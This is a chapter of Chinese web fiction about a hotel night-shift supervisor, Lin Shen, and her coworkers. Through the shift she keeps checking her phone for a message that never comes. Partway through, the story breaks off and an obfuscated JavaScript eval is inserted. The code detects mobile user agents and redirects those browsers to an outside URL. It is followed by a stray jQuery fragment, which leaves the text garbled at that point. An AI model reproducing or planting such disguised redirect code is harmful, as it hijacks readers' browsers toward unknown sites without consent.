晚上九点，林深到前台的时候，Jason正在吃包子，男实习生坐在电脑前发呆，女实习生正在看手机。看见林深来了，立刻抬头。
“林主管。”
“嗯？”
“为什么有人会把自己关进消防通道？”
Jason差点噎住。
“你怎么还在研究这个？”
“因为我想不通。”
“想不通就别想了。”
“为什么？”
Jason闭上眼。
“来了。”
林深笑了一下，把包放到柜子里，打开电脑，开始交接。大厅客人不算多，比前几天轻松一些。电话偶尔响，入住偶尔来，夜班慢悠悠开始。
九点半，手机亮了一下。林深低头——广告。她锁屏，继续工作。十分钟后，又亮——视频评论。锁屏，继续工作。过了一会儿，又亮——工作群。锁屏，继续工作。女实习生看了一会儿，终于忍不住。
“林主管。”
“嗯？”
“你为什么一直看手机？”
林深正在回消息，没抬头。
“有吗？”
“有。”
“没有。”
女实习生认真思考。Jason咬着包子。
“她在等发财。”
女实习生愣住。
“手机会发钱吗？”
Jason后悔了。
“不会。”
“那怎么发财？”
“你闭嘴。”
男实习生猛地抬头。
“卧槽。”
Jason已经懒得理他。
十点半，大厅进来一个团队。办理入住，发早餐券，做房卡，安排房间，一阵忙乱。林深一直在前台和大厅之间来回走，手机放在旁边，却总会下意识看一眼。
十一点，手机亮了。林深拿起来——朋友圈更新提醒，宋青瓷。她点进去，是一张照片，不知道哪个城市，不知道哪个酒店。没有文字，没有定位，什么都没有。她看了几秒，退出来，放下手机，继续办入住。像什么都没发生。
十二点，大厅安静下来。Jason开始第二顿夜宵，女实习生研究Opera系统，男实习生研究人生。林深开始回复视频评论。最近播放量还是老样子，两三万，偶尔高一点，偶尔低一点，不上不下。评论区倒是越来越热闹，有人每天都来，有人记得她什么时候更新，有人会认真看完每一条视频。她回了几条，又停下来，看了一眼微信。没有新消息。
一点，没有。
一点半，还是没有。
两点，视频导出完成，上传，发送。后台开始刷新数据，播放量慢慢往上涨，评论也越来越多。手机震了一下，林深几乎下意识拿起来——银行短信。她又放下。
Jason正在喝可乐，忽然说。
“林深。”
“嗯？”
“你今天看手机次数有点多。”
林深抬头。
“有吗？”
“有。”
女实习生立刻举手。
“我也发现了。”
“我没有。”
“有。”
“没有。”
“有。”
Jason乐了。
“你们两个怎么跟小学生一样。”
男实习生突然抬头。
“卧槽。”
Jason看着他。
“你又怎么了？”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17885694|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“我发现了。”
“发现什么？”
“林主管在等消息。”
前台忽然安静了一秒。林深看向他。男实习生难得没有忘，甚至有点聪明。Jason喝可乐的动作停了一下。
“你怎么知道？”
“因为我前女友也这样。”
“……”
“她等我回消息的时候就这样。”
空气突然变得有点微妙。女实习生立刻来了精神。
“谁没回？”
Jason眼疾手快，一把把包子塞进她手里。
“吃你的。”
“为什么？”
“因为包子能堵嘴。”
“为什么？”
“……”
凌晨三点，大厅重新安静下来。礼宾靠在旁边刷短视频，保安出去巡楼，Jason正在研究外卖软件，两个实习生终于消停。林深坐在电脑后面，手机放在手边，安安静静。没有消息。
她忽然想起很久以前，宋青瓷几乎每天都会发消息——吃饭了，下班了，回家了，今天见到什么了。后来越来越少，再后来，变成现在这样。出现，消失，出现，消失。没有解释，也没有答案。
凌晨四点，手机又亮了一下。林深拿起来——还是评论。那个橘猫头像的人又来了。
“今天更新有点晚。”
她看着那条评论，笑了一下，回复。
“上班。”
发送。然后退出。微信依然安安静静。
大厅灯光很亮，Jason不知道在笑什么，男实习生又震惊了，女实习生还在问为什么。整个前台热热闹闹，只有手机屏幕慢慢暗下去。什么都没有。像很多个已经过去的夜晚一样。